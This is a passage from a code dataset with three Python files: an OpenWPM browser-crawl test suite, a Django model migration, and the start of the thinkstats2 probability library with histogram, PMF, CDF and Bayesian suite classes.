import pytest # noqa from PIL import Image import filecmp import os import utilities from ..automation import CommandSequence from ..automation import TaskManager url_a = utilities.BASE_TEST_URL + '/simple_a.html' url_b = utilities.BASE_TEST_URL + '/simple_b.html' url_c = utilities.BASE_TEST_URL + '/simple_c.html' url_d = utilities.BASE_TEST_URL + '/simple_d.html' rendered_js_url = utilities.BASE_TEST_URL + '/property_enumeration.html' class TestSimpleCommands(): """Test correctness of simple commands and check that resulting data is properly keyed. """ NUM_BROWSERS = 1 def get_config(self, data_dir): manager_params, browser_params = TaskManager.load_default_params(self.NUM_BROWSERS) manager_params['data_directory'] = data_dir manager_params['log_directory'] = data_dir manager_params['db'] = os.path.join(manager_params['data_directory'], manager_params['database_name']) browser_params[0]['headless'] = True return manager_params, browser_params def test_get_site_visits_table_valid(self, tmpdir): """Check that get works and populates db correctly.""" # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) # Set up two sequential get commands to two URLS cs_a = CommandSequence.CommandSequence(url_a) cs_a.get(sleep=1) cs_b = CommandSequence.CommandSequence(url_b) cs_b.get(sleep=1) # Perform the get commands manager.execute_command_sequence(cs_a) manager.execute_command_sequence(cs_b) manager.close(post_process=False) qry_res = utilities.query_db(manager_params['db'], "SELECT site_url FROM site_visits") # We had two separate page visits assert len(qry_res) == 2 assert qry_res[0][0] == url_a assert qry_res[1][0] == url_b def test_get_http_tables_valid(self, tmpdir): """Check that get works and populates http tables correctly.""" # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) # Set up two sequential get commands to two URLS cs_a = CommandSequence.CommandSequence(url_a) cs_a.get(sleep=1) cs_b = CommandSequence.CommandSequence(url_b) cs_b.get(sleep=1) manager.execute_command_sequence(cs_a) manager.execute_command_sequence(cs_b) manager.close(post_process=False) qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id, site_url FROM site_visits") # Construct dict mapping site_url to visit_id visit_ids = dict() for row in qry_res: visit_ids[row[1]] = row[0] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_requests" " WHERE url = ?", (url_a,)) assert qry_res[0][0] == visit_ids[url_a] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_requests" " WHERE url = ?", (url_b,)) assert qry_res[0][0] == visit_ids[url_b] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_a,)) assert qry_res[0][0] == visit_ids[url_a] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_b,)) assert qry_res[0][0] == visit_ids[url_b] def test_browse_site_visits_table_valid(self, tmpdir): """Check that 'browse' works and populates db correctly.""" # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) # Set up two sequential browse commands to two URLS cs_a = CommandSequence.CommandSequence(url_a) cs_a.browse(num_links=1, sleep=1) cs_b = CommandSequence.CommandSequence(url_b) cs_b.browse(num_links=1, sleep=1) manager.execute_command_sequence(cs_a) manager.execute_command_sequence(cs_b) manager.close(post_process=False) qry_res = utilities.query_db(manager_params['db'], "SELECT site_url FROM site_visits") # We had two separate page visits assert len(qry_res) == 2 assert qry_res[0][0] == url_a assert qry_res[1][0] == url_b def test_browse_http_table_valid(self, tmpdir): """Check that 'browse' works and populates http tables correctly. NOTE: Since the browse command is choosing links randomly, there is a (very small -- 2*0.5^20) chance this test will fail with valid code. """ # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) # Set up two sequential browse commands to two URLS cs_a = CommandSequence.CommandSequence(url_a) cs_a.browse(num_links=20, sleep=1) cs_b = CommandSequence.CommandSequence(url_b) cs_b.browse(num_links=1, sleep=1) manager.execute_command_sequence(cs_a) manager.execute_command_sequence(cs_b) manager.close(post_process=False) qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id, site_url FROM site_visits") # Construct dict mapping site_url to visit_id visit_ids = dict() for row in qry_res: visit_ids[row[1]] = row[0] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_requests" " WHERE url = ?", (url_a,)) assert qry_res[0][0] == visit_ids[url_a] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_requests" " WHERE url = ?", (url_b,)) assert qry_res[0][0] == visit_ids[url_b] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_a,)) assert qry_res[0][0] == visit_ids[url_a] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_b,)) assert qry_res[0][0] == visit_ids[url_b] # Page simple_a.html has three links: # 1) An absolute link to simple_c.html # 2) A relative link to simple_d.html # 3) A javascript: link # 4) A link to www.google.com # 5) A link to example.com?localtest.me # We should see page visits for 1 and 2, but not 3-5. qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_c,)) assert qry_res[0][0] == visit_ids[url_a] qry_res = utilities.query_db(manager_params['db'], "SELECT visit_id FROM http_responses" " WHERE url = ?", (url_d,)) assert qry_res[0][0] == visit_ids[url_a] # We expect 4 urls: a,c,d and a favicon request qry_res = utilities.query_db(manager_params['db'], "SELECT COUNT(DISTINCT url) FROM http_responses" " WHERE visit_id = ?", (visit_ids[url_a],)) assert qry_res[0][0] == 4 def test_save_screenshot_valid(self, tmpdir): """Check that 'save_screenshot' works and screenshot is created properly.""" # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) cs = CommandSequence.CommandSequence(url_a) cs.get(sleep=1) cs.save_screenshot('test_screenshot') manager.execute_command_sequence(cs) manager.close(post_process=False) # Check that image is not blank im = Image.open(os.path.join(str(tmpdir), 'screenshots', 'test_screenshot.png')) bands = im.split() isBlank = all(band.getextrema() == (255, 255) for band in bands) assert not isBlank def test_dump_page_source_valid(self, tmpdir): """Check that 'dump_page_source' works and source is saved properly.""" # Run the test crawl manager_params, browser_params = self.get_config(str(tmpdir)) manager = TaskManager.TaskManager(manager_params, browser_params) cs = CommandSequence.CommandSequence(url_a) cs.get(sleep=1) cs.dump_page_source('test_source') manager.execute_command_sequence(cs) manager.close(post_process=False) with open(os.path.join(str(tmpdir), 'sources', 'test_source.html'), 'rb') as f: actual_source = f.read() with open('./test_pages/expected_source.html', 'rb') as f: expected_source = f.read() assert actual_source == expected_source
Jasonmk47/OpenWPM
test/test_simple_commands.py
Python
gpl-3.0
9,828
# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-01-14 05:00 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('app', '0002_month'), ] operations = [ migrations.RemoveField( model_name='month', name='id', ), migrations.AddField( model_name='month', name='employee_ptr', field=models.OneToOneField(auto_created=True, default=1, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='app.Employee'), preserve_default=False, ), ]
piyushhajare/Wage_Management
app/migrations/0003_auto_20170114_1030.py
Python
gpl-3.0
740
"""This file contains code for use with "Think Stats" and "Think Bayes", both by Allen B. Downey, available from greenteapress.com Copyright 2014 Allen B. Downey License: GNU GPLv3 http://www.gnu.org/licenses/gpl.html """ from __future__ import print_function, division """This file contains class definitions for: Hist: represents a histogram (map from values to integer frequencies). Pmf: represents a probability mass function (map from values to probs). _DictWrapper: private parent class for Hist and Pmf. Cdf: represents a discrete cumulative distribution function Pdf: represents a continuous probability density function """ import bisect import copy import logging import math import random import re from collections import Counter from operator import itemgetter import thinkplot import numpy as np import pandas import scipy from scipy import stats from scipy import special from scipy import ndimage from io import open ROOT2 = math.sqrt(2) def RandomSeed(x): """Initialize the random and np.random generators. x: int seed """ random.seed(x) np.random.seed(x) def Odds(p): """Computes odds for a given probability. Example: p=0.75 means 75 for and 25 against, or 3:1 odds in favor. Note: when p=1, the formula for odds divides by zero, which is normally undefined. But I think it is reasonable to define Odds(1) to be infinity, so that's what this function does. p: float 0-1 Returns: float odds """ if p == 1: return float('inf') return p / (1 - p) def Probability(o): """Computes the probability corresponding to given odds. Example: o=2 means 2:1 odds in favor, or 2/3 probability o: float odds, strictly positive Returns: float probability """ return o / (o + 1) def Probability2(yes, no): """Computes the probability corresponding to given odds. Example: yes=2, no=1 means 2:1 odds in favor, or 2/3 probability. yes, no: int or float odds in favor """ return yes / (yes + no) class Interpolator(object): """Represents a mapping between sorted sequences; performs linear interp. Attributes: xs: sorted list ys: sorted list """ def __init__(self, xs, ys): self.xs = xs self.ys = ys def Lookup(self, x): """Looks up x and returns the corresponding value of y.""" return self._Bisect(x, self.xs, self.ys) def Reverse(self, y): """Looks up y and returns the corresponding value of x.""" return self._Bisect(y, self.ys, self.xs) def _Bisect(self, x, xs, ys): """Helper function.""" if x <= xs[0]: return ys[0] if x >= xs[-1]: return ys[-1] i = bisect.bisect(xs, x) frac = 1.0 * (x - xs[i - 1]) / (xs[i] - xs[i - 1]) y = ys[i - 1] + frac * 1.0 * (ys[i] - ys[i - 1]) return y class _DictWrapper(object): """An object that contains a dictionary.""" def __init__(self, obj=None, label=None): """Initializes the distribution. obj: Hist, Pmf, Cdf, Pdf, dict, pandas Series, list of pairs label: string label """ self.label = label if label is not None else '_nolegend_' self.d = {} # flag whether the distribution is under a log transform self.log = False if obj is None: return if isinstance(obj, (_DictWrapper, Cdf, Pdf)): self.label = label if label is not None else obj.label if isinstance(obj, dict): self.d.update(obj.items()) elif isinstance(obj, (_DictWrapper, Cdf, Pdf)): self.d.update(obj.Items()) elif isinstance(obj, pandas.Series): self.d.update(obj.value_counts().iteritems()) else: # finally, treat it like a list self.d.update(Counter(obj)) if len(self) > 0 and isinstance(self, Pmf): self.Normalize() def __hash__(self): return id(self) def __str__(self): cls = self.__class__.__name__ return '%s(%s)' % (cls, str(self.d)) __repr__ = __str__ def __eq__(self, other): return self.d == other.d def __len__(self): return len(self.d) def __iter__(self): return iter(self.d) def iterkeys(self): """Returns an iterator over keys.""" return iter(self.d) def __contains__(self, value): return value in self.d def __getitem__(self, value): return self.d.get(value, 0) def __setitem__(self, value, prob): self.d[value] = prob def __delitem__(self, value): del self.d[value] def Copy(self, label=None): """Returns a copy. Make a shallow copy of d. If you want a deep copy of d, use copy.deepcopy on the whole object. label: string label for the new Hist returns: new _DictWrapper with the same type """ new = copy.copy(self) new.d = copy.copy(self.d) new.label = label if label is not None else self.label return new def Scale(self, factor): """Multiplies the values by a factor. factor: what to multiply by Returns: new object """ new = self.Copy() new.d.clear() for val, prob in self.Items(): new.Set(val * factor, prob) return new def Log(self, m=None): """Log transforms the probabilities. Removes values with probability 0. Normalizes so that the largest logprob is 0. """ if self.log: raise ValueError("Pmf/Hist already under a log transform") self.log = True if m is None: m = self.MaxLike() for x, p in self.d.items(): if p: self.Set(x, math.log(p / m)) else: self.Remove(x) def Exp(self, m=None): """Exponentiates the probabilities. m: how much to shift the ps before exponentiating If m is None, normalizes so that the largest prob is 1. """ if not self.log: raise ValueError("Pmf/Hist not under a log transform") self.log = False if m is None: m = self.MaxLike() for x, p in self.d.items(): self.Set(x, math.exp(p - m)) def GetDict(self): """Gets the dictionary.""" return self.d def SetDict(self, d): """Sets the dictionary.""" self.d = d def Values(self): """Gets an unsorted sequence of values. Note: one source of confusion is that the keys of this dictionary are the values of the Hist/Pmf, and the values of the dictionary are frequencies/probabilities. """ return self.d.keys() def Items(self): """Gets an unsorted sequence of (value, freq/prob) pairs.""" return self.d.items() def Render(self, **options): """Generates a sequence of points suitable for plotting. Note: options are ignored Returns: tuple of (sorted value sequence, freq/prob sequence) """ if min(self.d.keys()) is np.nan: logging.warning('Hist: contains NaN, may not render correctly.') return zip(*sorted(self.Items())) def MakeCdf(self, label=None): """Makes a Cdf.""" label = label if label is not None else self.label return Cdf(self, label=label) def Print(self): """Prints the values and freqs/probs in ascending order.""" for val, prob in sorted(self.d.items()): print(val, prob) def Set(self, x, y=0): """Sets the freq/prob associated with the value x. Args: x: number value y: number freq or prob """ self.d[x] = y def Incr(self, x, term=1): """Increments the freq/prob associated with the value x. Args: x: number value term: how much to increment by """ self.d[x] = self.d.get(x, 0) + term def Mult(self, x, factor): """Scales the freq/prob associated with the value x. Args: x: number value factor: how much to multiply by """ self.d[x] = self.d.get(x, 0) * factor def Remove(self, x): """Removes a value. Throws an exception if the value is not there. Args: x: value to remove """ del self.d[x] def Total(self): """Returns the total of the frequencies/probabilities in the map.""" total = sum(self.d.values()) return total def MaxLike(self): """Returns the largest frequency/probability in the map.""" return max(self.d.values()) def Largest(self, n=10): """Returns the largest n values, with frequency/probability. n: number of items to return """ return sorted(self.d.items(), reverse=True)[:n] def Smallest(self, n=10): """Returns the smallest n values, with frequency/probability. n: number of items to return """ return sorted(self.d.items(), reverse=False)[:n] class Hist(_DictWrapper): """Represents a histogram, which is a map from values to frequencies. Values can be any hashable type; frequencies are integer counters. """ def Freq(self, x): """Gets the frequency associated with the value x. Args: x: number value Returns: int frequency """ return self.d.get(x, 0) def Freqs(self, xs): """Gets frequencies for a sequence of values.""" return [self.Freq(x) for x in xs] def IsSubset(self, other): """Checks whether the values in this histogram are a subset of the values in the given histogram.""" for val, freq in self.Items(): if freq > other.Freq(val): return False return True def Subtract(self, other): """Subtracts the values in the given histogram from this histogram.""" for val, freq in other.Items(): self.Incr(val, -freq) class Pmf(_DictWrapper): """Represents a probability mass function. Values can be any hashable type; probabilities are floating-point. Pmfs are not necessarily normalized. """ def Prob(self, x, default=0): """Gets the probability associated with the value x. Args: x: number value default: value to return if the key is not there Returns: float probability """ return self.d.get(x, default) def Probs(self, xs): """Gets probabilities for a sequence of values.""" return [self.Prob(x) for x in xs] def Percentile(self, percentage): """Computes a percentile of a given Pmf. Note: this is not super efficient. If you are planning to compute more than a few percentiles, compute the Cdf. percentage: float 0-100 returns: value from the Pmf """ p = percentage / 100.0 total = 0 for val, prob in sorted(self.Items()): total += prob if total >= p: return val def ProbGreater(self, x): """Probability that a sample from this Pmf exceeds x. x: number returns: float probability """ if isinstance(x, _DictWrapper): return PmfProbGreater(self, x) else: t = [prob for (val, prob) in self.d.items() if val > x] return sum(t) def ProbLess(self, x): """Probability that a sample from this Pmf is less than x. x: number returns: float probability """ if isinstance(x, _DictWrapper): return PmfProbLess(self, x) else: t = [prob for (val, prob) in self.d.items() if val < x] return sum(t) def __lt__(self, obj): """Less than. obj: number or _DictWrapper returns: float probability """ return self.ProbLess(obj) def __gt__(self, obj): """Greater than. obj: number or _DictWrapper returns: float probability """ return self.ProbGreater(obj) def __ge__(self, obj): """Greater than or equal. obj: number or _DictWrapper returns: float probability """ return 1 - (self < obj) def __le__(self, obj): """Less than or equal. obj: number or _DictWrapper returns: float probability """ return 1 - (self > obj) def Normalize(self, fraction=1.0): """Normalizes this PMF so the sum of all probs is fraction. Args: fraction: what the total should be after normalization Returns: the total probability before normalizing """ if self.log: raise ValueError("Normalize: Pmf is under a log transform") total = self.Total() if total == 0.0: raise ValueError('Normalize: total probability is zero.') #logging.warning('Normalize: total probability is zero.') #return total factor = fraction / total for x in self.d: self.d[x] *= factor return total def Random(self): """Chooses a random element from this PMF. Note: this is not very efficient. If you plan to call this more than a few times, consider converting to a CDF. Returns: float value from the Pmf """ target = random.random() total = 0.0 for x, p in self.d.items(): total += p if total >= target: return x # we shouldn't get here raise ValueError('Random: Pmf might not be normalized.') def Mean(self): """Computes the mean of a PMF. Returns: float mean """ mean = 0.0 for x, p in self.d.items(): mean += p * x return mean def Var(self, mu=None): """Computes the variance of a PMF. mu: the point around which the variance is computed; if omitted, computes the mean returns: float variance """ if mu is None: mu = self.Mean() var = 0.0 for x, p in self.d.items(): var += p * (x - mu) ** 2 return var def Std(self, mu=None): """Computes the standard deviation of a PMF. mu: the point around which the variance is computed; if omitted, computes the mean returns: float standard deviation """ var = self.Var(mu) return math.sqrt(var) def MaximumLikelihood(self): """Returns the value with the highest probability. Returns: float probability """ _, val = max((prob, val) for val, prob in self.Items()) return val def CredibleInterval(self, percentage=90): """Computes the central credible interval. If percentage=90, computes the 90% CI. Args: percentage: float between 0 and 100 Returns: sequence of two floats, low and high """ cdf = self.MakeCdf() return cdf.CredibleInterval(percentage) def __add__(self, other): """Computes the Pmf of the sum of values drawn from self and other. other: another Pmf or a scalar returns: new Pmf """ try: return self.AddPmf(other) except AttributeError: return self.AddConstant(other) def AddPmf(self, other): """Computes the Pmf of the sum of values drawn from self and other. other: another Pmf returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): for v2, p2 in other.Items(): pmf.Incr(v1 + v2, p1 * p2) return pmf def AddConstant(self, other): """Computes the Pmf of the sum a constant and values from self. other: a number returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): pmf.Set(v1 + other, p1) return pmf def __sub__(self, other): """Computes the Pmf of the diff of values drawn from self and other. other: another Pmf returns: new Pmf """ try: return self.SubPmf(other) except AttributeError: return self.AddConstant(-other) def SubPmf(self, other): """Computes the Pmf of the diff of values drawn from self and other. other: another Pmf returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): for v2, p2 in other.Items(): pmf.Incr(v1 - v2, p1 * p2) return pmf def __mul__(self, other): """Computes the Pmf of the product of values drawn from self and other. other: another Pmf returns: new Pmf """ try: return self.MulPmf(other) except AttributeError: return self.MulConstant(other) def MulPmf(self, other): """Computes the Pmf of the diff of values drawn from self and other. other: another Pmf returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): for v2, p2 in other.Items(): pmf.Incr(v1 * v2, p1 * p2) return pmf def MulConstant(self, other): """Computes the Pmf of the product of a constant and values from self. other: a number returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): pmf.Set(v1 * other, p1) return pmf def __div__(self, other): """Computes the Pmf of the ratio of values drawn from self and other. other: another Pmf returns: new Pmf """ try: return self.DivPmf(other) except AttributeError: return self.MulConstant(1/other) __truediv__ = __div__ def DivPmf(self, other): """Computes the Pmf of the ratio of values drawn from self and other. other: another Pmf returns: new Pmf """ pmf = Pmf() for v1, p1 in self.Items(): for v2, p2 in other.Items(): pmf.Incr(v1 / v2, p1 * p2) return pmf def Max(self, k): """Computes the CDF of the maximum of k selections from this dist. k: int returns: new Cdf """ cdf = self.MakeCdf() return cdf.Max(k) class Joint(Pmf): """Represents a joint distribution. The values are sequences (usually tuples) """ def Marginal(self, i, label=None): """Gets the marginal distribution of the indicated variable. i: index of the variable we want Returns: Pmf """ pmf = Pmf(label=label) for vs, prob in self.Items(): pmf.Incr(vs[i], prob) return pmf def Conditional(self, i, j, val, label=None): """Gets the conditional distribution of the indicated variable. Distribution of vs[i], conditioned on vs[j] = val. i: index of the variable we want j: which variable is conditioned on val: the value the jth variable has to have Returns: Pmf """ pmf = Pmf(label=label) for vs, prob in self.Items(): if vs[j] != val: continue pmf.Incr(vs[i], prob) pmf.Normalize() return pmf def MaxLikeInterval(self, percentage=90): """Returns the maximum-likelihood credible interval. If percentage=90, computes a 90% CI containing the values with the highest likelihoods. percentage: float between 0 and 100 Returns: list of values from the suite """ interval = [] total = 0 t = [(prob, val) for val, prob in self.Items()] t.sort(reverse=True) for prob, val in t: interval.append(val) total += prob if total >= percentage / 100.0: break return interval def MakeJoint(pmf1, pmf2): """Joint distribution of values from pmf1 and pmf2. Assumes that the PMFs represent independent random variables. Args: pmf1: Pmf object pmf2: Pmf object Returns: Joint pmf of value pairs """ joint = Joint() for v1, p1 in pmf1.Items(): for v2, p2 in pmf2.Items(): joint.Set((v1, v2), p1 * p2) return joint def MakeHistFromList(t, label=None): """Makes a histogram from an unsorted sequence of values. Args: t: sequence of numbers label: string label for this histogram Returns: Hist object """ return Hist(t, label=label) def MakeHistFromDict(d, label=None): """Makes a histogram from a map from values to frequencies. Args: d: dictionary that maps values to frequencies label: string label for this histogram Returns: Hist object """ return Hist(d, label) def MakePmfFromList(t, label=None): """Makes a PMF from an unsorted sequence of values. Args: t: sequence of numbers label: string label for this PMF Returns: Pmf object """ return Pmf(t, label=label) def MakePmfFromDict(d, label=None): """Makes a PMF from a map from values to probabilities. Args: d: dictionary that maps values to probabilities label: string label for this PMF Returns: Pmf object """ return Pmf(d, label=label) def MakePmfFromItems(t, label=None): """Makes a PMF from a sequence of value-probability pairs Args: t: sequence of value-probability pairs label: string label for this PMF Returns: Pmf object """ return Pmf(dict(t), label=label) def MakePmfFromHist(hist, label=None): """Makes a normalized PMF from a Hist object. Args: hist: Hist object label: string label Returns: Pmf object """ if label is None: label = hist.label return Pmf(hist, label=label) def MakeMixture(metapmf, label='mix'): """Make a mixture distribution. Args: metapmf: Pmf that maps from Pmfs to probs. label: string label for the new Pmf. Returns: Pmf object. """ mix = Pmf(label=label) for pmf, p1 in metapmf.Items(): for x, p2 in pmf.Items(): mix.Incr(x, p1 * p2) return mix def MakeUniformPmf(low, high, n): """Make a uniform Pmf. low: lowest value (inclusive) high: highest value (inclusize) n: number of values """ pmf = Pmf() for x in np.linspace(low, high, n): pmf.Set(x, 1) pmf.Normalize() return pmf class Cdf(object): """Represents a cumulative distribution function. Attributes: xs: sequence of values ps: sequence of probabilities label: string used as a graph label. """ def __init__(self, obj=None, ps=None, label=None): """Initializes. If ps is provided, obj must be the corresponding list of values. obj: Hist, Pmf, Cdf, Pdf, dict, pandas Series, list of pairs ps: list of cumulative probabilities label: string label """ self.label = label if label is not None else '_nolegend_' if isinstance(obj, (_DictWrapper, Cdf, Pdf)): if not label: self.label = label if label is not None else obj.label if obj is None: # caller does not provide obj, make an empty Cdf self.xs = np.asarray([]) self.ps = np.asarray([]) if ps is not None: logging.warning("Cdf: can't pass ps without also passing xs.") return else: # if the caller provides xs and ps, just store them if ps is not None: if isinstance(ps, str): logging.warning("Cdf: ps can't be a string") self.xs = np.asarray(obj) self.ps = np.asarray(ps) return # caller has provided just obj, not ps if isinstance(obj, Cdf): self.xs = copy.copy(obj.xs) self.ps = copy.copy(obj.ps) return if isinstance(obj, _DictWrapper): dw = obj else: dw = Hist(obj) if len(dw) == 0: self.xs = np.asarray([]) self.ps = np.asarray([]) return xs, freqs = zip(*sorted(dw.Items())) self.xs = np.asarray(xs) self.ps = np.cumsum(freqs, dtype=np.float) self.ps /= self.ps[-1] def __str__(self): return 'Cdf(%s, %s)' % (str(self.xs), str(self.ps)) __repr__ = __str__ def __len__(self): return len(self.xs) def __getitem__(self, x): return self.Prob(x) def __setitem__(self): raise UnimplementedMethodException() def __delitem__(self): raise UnimplementedMethodException() def __eq__(self, other): return np.all(self.xs == other.xs) and np.all(self.ps == other.ps) def Copy(self, label=None): """Returns a copy of this Cdf. label: string label for the new Cdf """ if label is None: label = self.label return Cdf(list(self.xs), list(self.ps), label=label) def MakePmf(self, label=None): """Makes a Pmf.""" if label is None: label = self.label return Pmf(self, label=label) def Values(self): """Returns a sorted list of values. """ return self.xs def Items(self): """Returns a sorted sequence of (value, probability) pairs. Note: in Python3, returns an iterator. """ # TODO: rethink this function: should it just iterate # over xs and ps (cumulative probabilities) and not compute # differences? a = self.ps b = np.roll(a, 1) b[0] = 0 return zip(self.xs, a-b) def Shift(self, term): """Adds a term to the xs. term: how much to add """ new = self.Copy() # don't use +=, or else an int array + float yields int array new.xs = new.xs + term return new def Scale(self, factor): """Multiplies the xs by a factor. factor: what to multiply by """ new = self.Copy() # don't use *=, or else an int array * float yields int array new.xs = new.xs * factor return new def Prob(self, x): """Returns CDF(x), the probability that corresponds to value x. Args: x: number Returns: float probability """ if x < self.xs[0]: return 0.0 index = bisect.bisect(self.xs, x) p = self.ps[index-1] return p def Probs(self, xs): """Gets probabilities for a sequence of values. xs: any sequence that can be converted to NumPy array returns: NumPy array of cumulative probabilities """ xs = np.asarray(xs) index = np.searchsorted(self.xs, xs, side='right') ps = self.ps[index-1] ps[xs < self.xs[0]] = 0.0 return ps ProbArray = Probs def Value(self, p): """Returns InverseCDF(p), the value that corresponds to probability p. Args: p: number in the range [0, 1] Returns: number value """ if p < 0 or p > 1: raise ValueError('Probability p must be in range [0, 1]') index = bisect.bisect_left(self.ps, p) return self.xs[index] def ValueArray(self, ps): """Returns InverseCDF(p), the value that corresponds to probability p. Args: ps: NumPy array of numbers in the range [0, 1] Returns: NumPy array of values """ ps = np.asarray(ps) if np.any(ps < 0) or np.any(ps > 1): raise ValueError('Probability p must be in range [0, 1]') index = np.searchsorted(self.ps, ps, side='left') return self.xs[index] def Percentile(self, p): """Returns the value that corresponds to percentile p. Args: p: number in the range [0, 100] Returns: number value """ return self.Value(p / 100.0) def PercentileRank(self, x): """Returns the percentile rank of the value x. x: potential value in the CDF returns: percentile rank in the range 0 to 100 """ return self.Prob(x) * 100.0 def Random(self): """Chooses a random value from this distribution.""" return self.Value(random.random()) def Sample(self, n): """Generates a random sample from this distribution. n: int length of the sample returns: NumPy array """ ps = np.random.random(n) return self.ValueArray(ps) def Mean(self): """Computes the mean of a CDF. Returns: float mean """ old_p = 0 total = 0.0 for x, new_p in zip(self.xs, self.ps): p = new_p - old_p total += p * x old_p = new_p return total def CredibleInterval(self, percentage=90): """Computes the central credible interval. If percentage=90, computes the 90% CI. Args: percentage: float between 0 and 100 Returns: sequence of two floats, low and high """ prob = (1 - percentage / 100.0) / 2 interval = self.Value(prob), self.Value(1 - prob) return interval ConfidenceInterval = CredibleInterval def _Round(self, multiplier=1000.0): """ An entry is added to the cdf only if the percentile differs from the previous value in a significant digit, where the number of significant digits is determined by multiplier. The default is 1000, which keeps log10(1000) = 3 significant digits. """ # TODO(write this method) raise UnimplementedMethodException() def Render(self, **options): """Generates a sequence of points suitable for plotting. An empirical CDF is a step function; linear interpolation can be misleading. Note: options are ignored Returns: tuple of (xs, ps) """ def interleave(a, b): c = np.empty(a.shape[0] + b.shape[0]) c[::2] = a c[1::2] = b return c a = np.array(self.xs) xs = interleave(a, a) shift_ps = np.roll(self.ps, 1) shift_ps[0] = 0 ps = interleave(shift_ps, self.ps) return xs, ps def Max(self, k): """Computes the CDF of the maximum of k selections from this dist. k: int returns: new Cdf """ cdf = self.Copy() cdf.ps **= k return cdf def MakeCdfFromItems(items, label=None): """Makes a cdf from an unsorted sequence of (value, frequency) pairs. Args: items: unsorted sequence of (value, frequency) pairs label: string label for this CDF Returns: cdf: list of (value, fraction) pairs """ return Cdf(dict(items), label=label) def MakeCdfFromDict(d, label=None): """Makes a CDF from a dictionary that maps values to frequencies. Args: d: dictionary that maps values to frequencies. label: string label for the data. Returns: Cdf object """ return Cdf(d, label=label) def MakeCdfFromList(seq, label=None): """Creates a CDF from an unsorted sequence. Args: seq: unsorted sequence of sortable values label: string label for the cdf Returns: Cdf object """ return Cdf(seq, label=label) def MakeCdfFromHist(hist, label=None): """Makes a CDF from a Hist object. Args: hist: Pmf.Hist object label: string label for the data. Returns: Cdf object """ if label is None: label = hist.label return Cdf(hist, label=label) def MakeCdfFromPmf(pmf, label=None): """Makes a CDF from a Pmf object. Args: pmf: Pmf.Pmf object label: string label for the data. Returns: Cdf object """ if label is None: label = pmf.label return Cdf(pmf, label=label) class UnimplementedMethodException(Exception): """Exception if someone calls a method that should be overridden.""" class Suite(Pmf): """Represents a suite of hypotheses and their probabilities.""" def Update(self, data): """Updates each hypothesis based on the data. data: any representation of the data returns: the normalizing constant """ for hypo in self.Values(): like = self.Likelihood(data, hypo) self.Mult(hypo, like) return self.Normalize() def LogUpdate(self, data): """Updates a suite of hypotheses based on new data. Modifies the suite directly; if you want to keep the original, make a copy. Note: unlike Update, LogUpdate does not normalize. Args: data: any representation of the data """ for hypo in self.Values(): like = self.LogLikelihood(data, hypo) self.Incr(hypo, like) def UpdateSet(self, dataset): """Updates each hypothesis based on the dataset. This is more efficient than calling Update repeatedly because it waits until the end to Normalize. Modifies the suite directly; if you want to keep the original, make a copy. dataset: a sequence of data returns: the normalizing constant """ for data in dataset: for hypo in self.Values(): like = self.Likelihood(data, hypo) self.Mult(hypo, like) return self.Normalize() def LogUpdateSet(self, dataset): """Updates each hypothesis based on the dataset. Modifies the suite directly; if you want to keep the original, make a copy. dataset: a sequence of data returns: None """ for data in dataset: self.LogUpdate(data) def Likelihood(self, data, hypo): """Computes the likelihood of the data under the hypothesis. hypo: some representation of the hypothesis data: some representation of the data """ raise UnimplementedMethodException() def LogLikelihood(self, data, hypo): """Computes the log likelihood of the data under the hypothesis. hypo: some representation of the hypothesis data: some representation of the data """ raise UnimplementedMethodException() def Print(self): """Prints the hypotheses and their probabilities.""" for hypo, prob in sorted(self.Items()): print(hypo, prob) def MakeOdds(self): """Transforms from probabilities to odds. Values with prob=0 are removed. """ for hypo, prob in self.Items(): if prob: self.Set(hypo, Odds(prob)) else: self.Remove(hypo) def MakeProbs(self): """Transforms from odds to probabilities.""" for hypo, odds in self.Items(): self.Set(hypo, Probability(odds)) def MakeSuiteFromList(t, label=None): """Makes a suite from an unsorted sequence of values. Args: t: sequence of numbers label: string label for this suite Returns: Suite object """ hist = MakeHistFromList(t, label=label) d = hist.GetDict() return MakeSuiteFromDict(d) def MakeSuiteFromHist(hist, label=None): """Makes a normalized suite from a Hist object. Args: hist: Hist object label: string label Returns: Suite object """ if label is None: label = hist.label # make a copy of the dictionary d = dict(hist.GetDict()) return MakeSuiteFromDict(d, label) def MakeSuiteFromDict(d, label=None): """Makes a suite from a map from values to probabilities. Args: d: dictionary that maps values to probabilities label: string label for this suite Returns: Suite object """ suite = Suite(label=label) suite.SetDict(d) suite.Normalize() return suite class Pdf(object): """Represents a probability density function (PDF).""" def Density(self, x): """Evaluates this Pdf at x. Returns: float or NumPy array of probability density """ raise UnimplementedMethodException() def GetLinspace(self): """Get a linspace for plotting. Not all subclasses of Pdf implement this. Returns: numpy 